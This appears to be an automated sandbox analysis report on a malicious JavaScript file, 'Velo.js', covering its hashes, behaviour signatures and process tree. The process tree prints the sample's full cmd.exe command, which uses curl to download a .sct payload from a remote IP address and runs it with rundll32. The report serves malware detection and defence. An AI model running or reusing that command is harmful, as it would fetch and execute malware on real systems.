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Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231025-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/11/2023, 06:40

General

  • Target

    Velo.js

  • Size

    130KB

  • MD5

    09912f8fc0da59838af6936935f385c5

  • SHA1

    31228067aeb544210d62f2f3798962cc4f521baa

  • SHA256

    7f04565936f4f07fab12da3d202f4fb9c9dbc3cad50331cdd12cf9f0045e09ea

  • SHA512

    6d9e09648c17a88a14bec4c0b09a69562d7d20b4fb836e6c8da8c2135a55bbe40782520f6af1eb90225a37012a2682e0f3b9172d1781b11e7afcee62695e4492

  • SSDEEP

    3072:kJhGVzLl4MYcAQY6/0I7tPRx6PFWggqUpDRPVlKYPgZ8gV2N:lVN4MYcAQY6/j7t6gq+tVoYPgiNN

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Velo.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:5012
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c K75 || ecHo K75 & PING K75 || CURL http://116.203.149.142/UIP/delay -o %tMP%\K75.sct & PING -n 4 K75 || RUndll32 %tmP%\K75.sct, Crash & exIt ATYeEkN1gIj9m
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4268
      • C:\Windows\system32\PING.EXE
        PING K75
        3⤵
        • Runs ping.exe
        PID:884
      • C:\Windows\system32\curl.exe
        CURL http://116.203.149.142/UIP/delay -o C:\Users\Admin\AppData\Local\Temp\K75.sct
        3⤵
          PID:2460
        • C:\Windows\system32\PING.EXE
          PING -n 4 K75
          3⤵
          • Runs ping.exe
          PID:1960
        • C:\Windows\system32\rundll32.exe
          RUndll32 C:\Users\Admin\AppData\Local\Temp\K75.sct, Crash
          3⤵
            PID:1860

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads